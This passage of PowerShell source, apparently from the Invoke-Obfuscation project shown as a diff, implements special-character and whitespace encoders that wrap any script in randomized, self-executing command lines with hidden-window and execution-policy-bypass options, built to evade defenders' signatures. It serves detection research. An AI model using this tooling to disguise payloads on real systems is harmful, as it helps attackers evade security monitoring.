[ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')]
[String]
$ExecutionPolicy,
[Switch]
$PassThru
)
# Either convert ScriptBlock to a String or convert script at $Path to a String.
If($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path))
}
Else
{
$ScriptString = [String]$ScriptBlock
}
# Build out variables to obtain 0-9, "[char]" and "iex"
$VariableInstantiationSyntax = @()
$VariableInstantiationSyntax += '${;} = + $( ) ; ${=} = ${;} ; ${+} = ++ ${;} ; ${@} = ++ ${;} ; ${.} = ++ ${;} ; ${[} = ++ ${;} ; ${]} = ++ ${;} ; ${(} = ++ ${;} ; ${)} = ++ ${;} ; ${&} = ++ ${;} ; ${|} = ++ ${;} ; '
$VariableInstantiationSyntax += '${;} = + $( ) ; ${=} = ${;} ; ${+} = ++ ${;} ; ${@} = ( ${;} = ${;} + ${+} ) ; ${.} = ( ${;} = ${;} + ${+} ) ; ${[} = ( ${;} = ${;} + ${+} ) ; ${]} = ( ${;} = ${;} + ${+} ) ; ${(} = ( ${;} = ${;} + ${+} ) ; ${)} = ( ${;} = ${;} + ${+} ) ; ${&} = ( ${;} = ${;} + ${+} ) ; ${|} = ( ${;} = ${;} + ${+} ) ; '
$VariableInstantiation = (Get-Random -Input $VariableInstantiationSyntax)
${[Char]} = '${"} = \"[\" + \"$( @{ } ) \"[ ${)} ] + \"$(@{ })\"[ \"${+}${|}\" ] + \"$( @{ } ) \"[ \"${@}${=}\" ] + \"$? \"[ ${+} ] + \"]\" ; '
$OverloadDefinitions = '${;} = \"\".(\"$( @{ } ) \"[ \"${+}${[}\" ] + \"$( @{ } ) \"[ \"${+}${(}\" ] + \"$( @{ } ) \"[ ${=} ] + \"$( @{ } ) \"[ ${[} ] + \"$? \"[ ${+} ] + \"$( @{ } ) \"[ ${.} ] ) ; '
$Iex = '${;} = \"$( @{ } ) \"[ \"${+}${[}\" ] + \"$( @{ } ) \"[ ${[} ] + \"${;}\"[ \"${@}${)}\" ] ; '
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
If((Get-Random -Input @(0..1)))
{
${[Char]} = ${[Char]}.Replace('}${','}\" + \"${')
}
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
If((Get-Random -Input @(0..1)))
{
$OverloadDefinitions = $OverloadDefinitions.Replace('}${','}\" + \"${')
}
# 1/2 of the time choose to change above variable string concatenation syntax from "${var1}${var2}" to "${var1}" + "${var2}".
# This is so defenders won't place false hope in the presence of high counts of }${ for detecting this obfuscation syntax.
If((Get-Random -Input @(0..1)))
{
$Iex = $Iex.Replace('}${','}\" + \"${')
}
# Combine above setup commands.
$SetupCommand = $VariableInstantiation + ${[Char]} + $OverloadDefinitions + $Iex
# 1/2 of the time choose 'char' | % syntax where only one ';' is needed in the entire command.
# 1/2 of the time choose simpler ';' delimiter for each command.
If((Get-Random -Input @(0..1)))
{
# Do not add ':' '?' '>' '<' '|' '&' ':' '^' "'" ',' or ' ' to this $NewCharacters list.
$NewCharacters = @(';','=','+','@','.','[',']','(',')','-','_','/','\','*','%','$','#','!','``','~')
# 1/3 of the time randomly choose using only one random character from above.
# 2/3 of the time use eleven randomly chosen characters from $NewCharacters defined above.
Switch(Get-Random -Input @(1..3))
{
1 {$RandomChar = (Get-Random -Input $NewCharacters); $RandomString = $RandomChar*(Get-Random -Input @(1..6))}
default {$RandomString = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..3)))}
}
# Replace default syntax for multiple commands (using ';') with the syntax of 'char' | %
$SetupCommand = '( ' + "'$RandomString'" + ' | % { ' + $SetupCommand.Replace(' ; ',' } { ').Trim(' {') + ' ) ; '
}
# Convert $ScriptString into a character array and then convert each character into ASCII integer representations substituted with our special character variables for each character.
$CharEncoded = ([Char[]]$ScriptString | ForEach-Object {'${"}'+ ([Int]$_ -Replace "0",'${=}' -Replace "1",'${+}' -Replace "2",'${@}' -Replace "3",'${.}' -Replace "4",'${[}' -Replace "5",'${]}' -Replace "6",'${(}' -Replace "7",'${)}' -Replace "8",'${&}' -Replace "9",'${|}')}) -Join ' + '
# Randomly choose between . and & invocation operators.
$InvocationSyntax = (Get-Random -Input @('.','&'))
# Select random ordering for both layers of "iex"
$CharEncodedSyntax = @()
$CharEncodedSyntax += '\" ' + $CharEncoded + ' ^| ${;} \" | ' + $InvocationSyntax + ' ${;} '
$CharEncodedSyntax += '\" ${;} ( ' + $CharEncoded + ' ) \" | ' + $InvocationSyntax + ' ${;} '
$CharEncodedSyntax += $InvocationSyntax + ' ${;} ( \" ' + $CharEncoded + ' ^| ${;} \" ) '
$CharEncodedSyntax += $InvocationSyntax + ' ${;} ( \" ${;} ( ' + $CharEncoded + ' ) \" ) '
# Randomly select one of the above commands.
$CharEncodedRandom = (Get-Random -Input $CharEncodedSyntax)
# Combine variable instantion $SetupCommand and our encoded command.
$NewScriptTemp = $SetupCommand + $CharEncodedRandom
# Insert random whitespace.
$NewScript = ''
$NewScriptTemp.Split(' ') | ForEach-Object {
$NewScript += $_ + ' '*(Get-Random -Input @(0,2))
}
# Substitute existing character placement with randomized variables names consisting of randomly selected special characters.
$DefaultCharacters = @(';','=','+','@','.','[',']','(',')','&','|','"')
# Do not add ':' '?' '>' '<' '|' '&' ':' '_' ',' or '^' to this $NewCharacters list.
$NewCharacters = @(';','=','+','@','.','[',']','(',')','-','/',"'",'*','%','$','#','!','``','~',' ')
# 1/3 of the time randomly choose using only one random character from above or using only whitespace for variable names.
# 2/3 of the time use eleven randomly chosen characters from $NewCharacters defined above.
$UpperLimit = 1
Switch(Get-Random -Input @(1..6))
{
1 {$RandomChar = (Get-Random -Input $NewCharacters); $NewCharacters = @(1..12) | ForEach-Object {$RandomChar*$_}}
2 {$NewCharacters = @(1..12) | ForEach-Object {' '*$_}}
default {$UpperLimit = 3}
}
$NewVariableList = @()
While($NewVariableList.Count -lt $DefaultCharacters.Count)
{
$CurrentVariable = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..$UpperLimit))) -Join ''
While($NewVariableList -Contains $CurrentVariable)
{
$CurrentVariable = (Get-Random -Input $NewCharacters -Count (Get-Random -Input @(1..$UpperLimit))) -Join ''
}
$NewVariableList += $CurrentVariable
}
# Select 10 random new variable names and substitute the existing special characters in $NewScript.
$NewCharactersRandomOrder = Get-Random -Input $NewCharacters -Count $DefaultCharacters.Count
For($i=0; $i -lt $DefaultCharacters.Count; $i++)
{
$NewScript = $NewScript.Replace(('${' + $DefaultCharacters[$i] + '}'),('${' + $i + '}'))
}
For($i=$DefaultCharacters.Count-1; $i -ge 0; $i--)
{
$NewScript = $NewScript.Replace(('${' + $i + '}'),('${' + $NewVariableList[$i]+'}'))
}
# Remove certain escaping if PassThru is selected.
If($PSBoundParameters['PassThru'])
{
If($NewScript.Contains('\"'))
{
$NewScript = $NewScript.Replace('\"','"')
}
If($NewScript.Contains('^|'))
{
$NewScript = $NewScript.Replace('^|','|')
}
}
# If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript.
If(!$PSBoundParameters['PassThru'])
{
# Array to store all selected PowerShell execution flags.
$PowerShellFlags = @()
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags.
$CommandlineOptions = New-Object String[](0)
If($PSBoundParameters['NoExit'])
{
$FullArgument = "-NoExit";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NoProfile'])
{
$FullArgument = "-NoProfile";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NonInteractive'])
{
$FullArgument = "-NonInteractive";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['NoLogo'])
{
$FullArgument = "-NoLogo";
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1)))
}
If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle)
{
$FullArgument = "-WindowStyle"
If($WindowsStyle) {$ArgumentValue = $WindowsStyle}
Else {$ArgumentValue = $PSBoundParameters['WindowStyle']}
# Randomly decide to write WindowStyle value with flag substring or integer value.
Switch($ArgumentValue.ToLower())
{
'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}}
'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}}
'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}}
'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}}
default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;}
}
$PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
}
If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy)
{
$FullArgument = "-ExecutionPolicy"
If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy}
Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']}
# Take into account the shorted flag of -EP as well.
$ExecutionPolicyFlags = @()
$ExecutionPolicyFlags += '-EP'
For($Index=3; $Index -le $FullArgument.Length; $Index++)
{
$ExecutionPolicyFlags += $FullArgument.SubString(0,$Index)
}
$ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags
$PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue
}
# Randomize the order of the execution flags.
# This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags.
If($CommandlineOptions.Count -gt 1)
{
$CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count
}
# If selected then the -Command flag needs to be added last.
If($PSBoundParameters['Command'])
{
$FullArgument = "-Command"
$CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1)))
}
# Randomize the case of all command-line arguments.
For($i=0; $i -lt $PowerShellFlags.Count; $i++)
{
$PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
}
# Random-sized whitespace between all execution flags and encapsulating final string of execution flags.
$CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join ''
$CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3)
# Build up the full command-line string.
If($PSBoundParameters['Wow64'])
{
$CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
}
Else
{
# Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon).
#$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`""
$CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`""
}
# Make sure final command doesn't exceed cmd.exe's character limit.
$CmdMaxLength = 8190
If($CommandLineOutput.Length -gt $CmdMaxLength)
{
Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters."
}
$NewScript = $CommandLineOutput
}
Return $NewScript
}

View File

@ -0,0 +1,414 @@
# This file is part of Invoke-Obfuscation.
#
# Copyright 2017 Daniel Bohannon <@danielhbohannon>
# while at Mandiant <http://www.mandiant.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
Function Out-EncodedWhitespaceCommand
{
<#
.SYNOPSIS
Generates Whitespace encoded payload for a PowerShell command or script. Optionally it adds command line output to final command.
Invoke-Obfuscation Function: Out-EncodedWhitespaceCommand
Author: Daniel Bohannon (@danielhbohannon)
License: Apache License, Version 2.0
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Out-EncodedWhitespaceCommand encodes an input PowerShell scriptblock or path as a Whitespace-and-Tab encoded payload. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER Path
Specifies the path to your payload.
.PARAMETER NoExit
Outputs the option to not exit after running startup commands.
.PARAMETER NoProfile
Outputs the option to not load the Windows PowerShell profile.
.PARAMETER NonInteractive
Outputs the option to not present an interactive prompt to the user.
.PARAMETER NoLogo
Outputs the option to not present the logo to the user.
.PARAMETER Wow64
Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations.
.PARAMETER Command
Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt.
.PARAMETER WindowStyle
Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden.
.PARAMETER ExecutionPolicy
Outputs the option to set the default execution policy for the current session.
.PARAMETER PassThru
(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output.
.EXAMPLE
C:\PS> Out-EncodedWhitespaceCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive
powershell -NoP -NonInterac "' '|%{$uXOrcSp= $_ -CSplIt ' ' | %{' ' ; $_ -CSplIt ' ' |% { $_.lEngth- 1}} ; .( ([string]''.LAstINDEXOFANy)[92,95,96]-join'')( (($uXOrcSp[0..($uXOrcSp.lEngth-1)] -join'' ).TrIm( ' ').SPLIT(' ' ) |% {([chAr][iNt]$_) })-join '' ) }"
C:\PS> Out-EncodedWhitespaceCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru
' '| % {$gyPrfqv= $_ -csPLiT ' '|% { ' ';$_.SPlIT(' ') | %{$_.LEngth - 1 }}; [StRINg]::joIn( '',((-jOin ($gyPrfqv[0..($gyPrfqv.LEngth-1)])).triM( ' ' ).SPlIT(' ' )|% { ( [CHAr][iNt]$_)}))|&( $eNv:CoMSPEC[4,26,25]-jOiN'')}
.NOTES
Inspiration for this encoding technique came from Casey Smith (@subTee) while at the 2017 BlueHat IL conference.
This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company.
.LINK
http://www.danielbohannon.com
#>
[CmdletBinding(DefaultParameterSetName = 'FilePath')] Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter(Position = 0, ParameterSetName = 'FilePath')]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Switch]
$NoExit,
[Switch]
$NoProfile,
[Switch]
$NonInteractive,
[Switch]
$NoLogo,
[Switch]
$Wow64,
[Switch]
$Command,
[ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')]
[String]
$WindowStyle,
[ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')]
[String]
$ExecutionPolicy,
[Switch]
$PassThru
)
# Either convert ScriptBlock to a String or convert script at $Path to a String.
If($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path))
}
Else
{
$ScriptString = [String]$ScriptBlock
}
# Convert $ScriptString to an ASCII-encoded array.
$AsciiArray = [Int[]][Char[]]$ScriptString
# Encode ASCII array with defined EncodingChar and DelimiterChar (randomly-selected as whitespace and tab, [Char]9).
$RandomIndex = Get-Random -Input @(0,1)
$EncodedArray = @()
$EncodingChar = @(' ',[Char]9)[$RandomIndex]
$DigitDelimiterChar = @([Char]9,' ')[$RandomIndex]
# Enumerate each ASCII value and (ultimately) store decoded ASCII values in $EncodedArray array.
ForEach($AsciiValue in $AsciiArray)
{
$EncodedAsciiValueArray = @()
# Enumerate each digit in current ASCII value and convert it to DelimiterChar*Digit.
ForEach($Digit in [Char[]][String]$AsciiValue)
{
$EncodedAsciiValueArray += [String]$EncodingChar*([Int][String]$Digit + 1)
}
$EncodedArray += ($EncodedAsciiValueArray -Join $DigitDelimiterChar)
}
# Set $IntDelimiterChar to be two instances of $DigitDelimiterChar.
# $IntDelimiterChar will essentially be like the comma in the original ASCII array.
$IntDelimiterChar = $DigitDelimiterChar + $DigitDelimiterChar
# Join together final $EncodedString with delimiter selected above.
$EncodedString = ($EncodedArray -Join $IntDelimiterChar)
# Generate random case versions for necessary operations.
$ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%')
$SplitMethod = Get-Random -Input @('-Split','-CSplit','-ISplit')
$Trim = Get-Random -Input @('Trim','TrimStart')
$StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$Length = ([Char[]]'Length' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$SplitMethod = ([Char[]]$SplitMethod | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$SplitMethod2 = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$Trim = ([Char[]]$Trim | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$SplitOnDelim = Get-Random -Input @(" $SplitMethod '$DigitDelimiterChar'",".$SplitMethod2('$DigitDelimiterChar')")
# Generate random variable name to store the script's intermediate state while being reassembled.
$RandomScriptVar = (Get-Random -Input @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') -Count (Get-Random -Input @(5..8)) | ForEach-Object {$UpperLowerChar = $_; If(Get-Random -Input @(0..1)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $UpperLowerChar}) -Join ''
# Build the first part of the decoding routine.
$ScriptStringPart1 = "'$EncodedString'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "`$$RandomScriptVar" + ' '*(Get-Random -Input @(0,1)) + '=' + ' '*(Get-Random -Input @(0,1)) + "`$_ $SplitMethod '$IntDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + ';' + ' '*(Get-Random -Input @(0,1)) + "`$_$SplitOnDelim" + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + "`$_.$Length" + ' '*(Get-Random -Input @(0,1)) + '-' + ' '*(Get-Random -Input @(0,1)) + '1' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ';'
# Randomly select between various conversion syntax options.
$RandomStringSyntax = ([Char[]](Get-Random -Input @('[String]$_','$_.ToString()')) | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$RandomConversionSyntax = @()
$RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + "[$Int]" + ' '*(Get-Random -Input @(0,1)) + "`$_"
$RandomConversionSyntax += "[$Int]" + ' '*(Get-Random -Input @(0,1)) + "`$_" + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]"
$RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax)
# Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax.
$EncodedArray = ''
([Char[]]$ScriptString) | ForEach-Object {$EncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)))}
# Remove trailing comma from $EncodedArray.
$EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')')
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
# If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls
# For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
$SetOfsVarSyntax = @()
$SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''"
$SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''"
$SetOfsVar = (Get-Random -Input $SetOfsVarSyntax)
$SetOfsVarBackSyntax = @()
$SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '"
$SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '"
$SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax)
# Randomize case of $SetOfsVar and $SetOfsVarBack.
$SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
$SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join ''
# Generate the code that will iterate through each element of the array.
$BaseScriptArray1 = "`$$RandomScriptVar[0..(`$$RandomScriptVar.$Length-1)]"
# Generate random JOIN syntax for all above options.
$NewScriptArray1 = @()
$NewScriptArray1 += $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''"
$NewScriptArray1 += $Join + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + ')'
$NewScriptArray1 += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + ')'
$NewScriptArray1 += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + $BaseScriptArray1 + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"'
# Randomly select one of the above commands.
$NewScript1 = (Get-Random -Input $NewScriptArray1)
# Generate the code that will decrypt and execute the payload and randomly select one.
$BaseScriptArray2 = @()
$BaseScriptArray2 += '(' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript1 + ' '*(Get-Random -Input @(0,1)) + ").$Trim(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar '" + ' '*(Get-Random -Input @(0,1)) + ").$SplitMethod2(" + ' '*(Get-Random -Input @(0,1)) + "'" + $DigitDelimiterChar + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')'
$BaseScriptArray2 += "`[$CharStr[]]" + ' '*(Get-Random -Input @(0,1)) + "[$Int[]]" + ' '*(Get-Random -Input @(0,1)) + "(" + ' '*(Get-Random -Input @(0,1)) + $NewScript1 + ' '*(Get-Random -Input @(0,1)) + ").$Trim(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar '" + ' '*(Get-Random -Input @(0,1)) + ").$SplitMethod2(" + ' '*(Get-Random -Input @(0,1)) + "'$DigitDelimiterChar'" + ' '*(Get-Random -Input @(0,1)) + ')'
$BaseScriptArray2 = (Get-Random -Input $BaseScriptArray2)
# Generate random JOIN syntax for all above options.
$NewScriptArray2 = @()
$NewScriptArray2 += $BaseScriptArray2 + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''"
$NewScriptArray2 += $Join + ' '*(Get-Random -Input @(0,1)) + '(' + $BaseScriptArray2 + ')'
$NewScriptArray2 += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $BaseScriptArray2 + ' '*(Get-Random -Input @(0,1)) + ')'
# Randomly select one of the above commands.
$NewScript = (Get-Random -Input $NewScriptArray2)
# Generate random invoke operation syntax.
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies.
$InvokeExpressionSyntax = @()
$InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression'))
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet.
# These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc.
$InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1))
$InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')"
$InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')"
$InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')"
$InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')"
$InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')"
$InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @("([String]''.Insert)" , "''.Insert.ToString()")) + '[' + (Get-Random -Input @(3,7,14,23,33)) + ',' + (Get-Random -Input @(10,26,41)) + ",27]-Join''" + ")"
